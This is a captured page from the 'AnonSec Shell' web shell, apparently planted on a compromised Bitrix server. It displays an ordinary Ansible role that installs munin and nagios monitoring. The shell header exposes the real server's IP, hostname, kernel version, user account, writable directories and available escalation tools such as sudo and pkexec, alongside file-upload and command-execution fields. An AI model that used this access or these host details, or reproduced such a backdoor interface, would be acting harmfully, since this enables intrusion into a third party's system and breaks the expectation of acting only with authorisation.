AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 18.227.102.20
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /etc/ansible/roles/monitor/tasks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /etc/ansible/roles/monitor/tasks/install.yml
---
######## role is fits for monitoring server and monitored nodes
# configure:
# munin
# munin-node
# nagios
# nrpe
########

## package installation
- name: Install common packages
  yum: pkg={{ packages }} state=latest update_cache=yes
  vars:
    packages:
      - munin-common
      - munin-node
      - nrpe
      - nagios-plugins
      - nagios-plugins-http
      - nagios-plugins-disk
      - nagios-plugins-load
      - nagios-plugins-procs
      - nagios-plugins-swap
      - nagios-plugins-users
      - nagios-plugins-mysql
      - perl-Cache-Memcached
      - net-tools

# WEB monitoring
- name: Configure apache status page
  template:
    src: bx_apache_status.conf.j2
    dest: /etc/httpd/bx/conf/bx_apache_status.conf
    owner: bitrix
    group: root
    mode: 0644
  when: "'bitrix-web' in group_names"
  notify: restart httpd

- name: Configure nginx status page
  template:
    src: nginx_server_status.conf.j2 
    dest: /etc/nginx/bx/site_avaliable/nginx_server_status.conf
    owner: bitrix
    group: root
    mode: 0644
  notify: restart nginx
  when: "'bitrix-web' in group_names"

- name: Enable nginx status page
  file:
    src: /etc/nginx/bx/site_avaliable/nginx_server_status.conf
    dest: /etc/nginx/bx/site_enabled/nginx_server_status.conf
    state: link
  when: "'bitrix-web' in group_names"
  notify: restart nginx

- include_tasks: configure_munin_agent.yml

- include_tasks: configure_nrpe_agent.yml

- include_tasks: configure_monitoring_server.yml

# ANSIBLE configuration update
- name: Update group variables
  delegate_to: "{{ cluster_web_server }}"
  bx_conf:
    group: hosts
    state: update
    monitoring_status: enable
    monitoring_server: "{{ monitoring_server| default(cluster_web_server) }}"
    nagios_server_login: "{{ nagios_server_login }}"
    nagios_server_password: "{{ nagios_server_password }}"
    munin_server_login: "{{ munin_server_login }}"
    munin_server_password: "{{ munin_server_password }}"
  when: inventory_hostname == monitoring_server

- name: Update group variables for email settings
  delegate_to: "{{ cluster_web_server }}"
  bx_conf:
    group: hosts
    state: update 
    notify_nagios: "{{ notify_nagios }}"
    monitor_email: "{{ monitor_email }}"
  when: notify_nagios is defined 
    and notify_nagios 
    and inventory_hostname == monitoring_server


Anon7 - 2022
AnonSec Team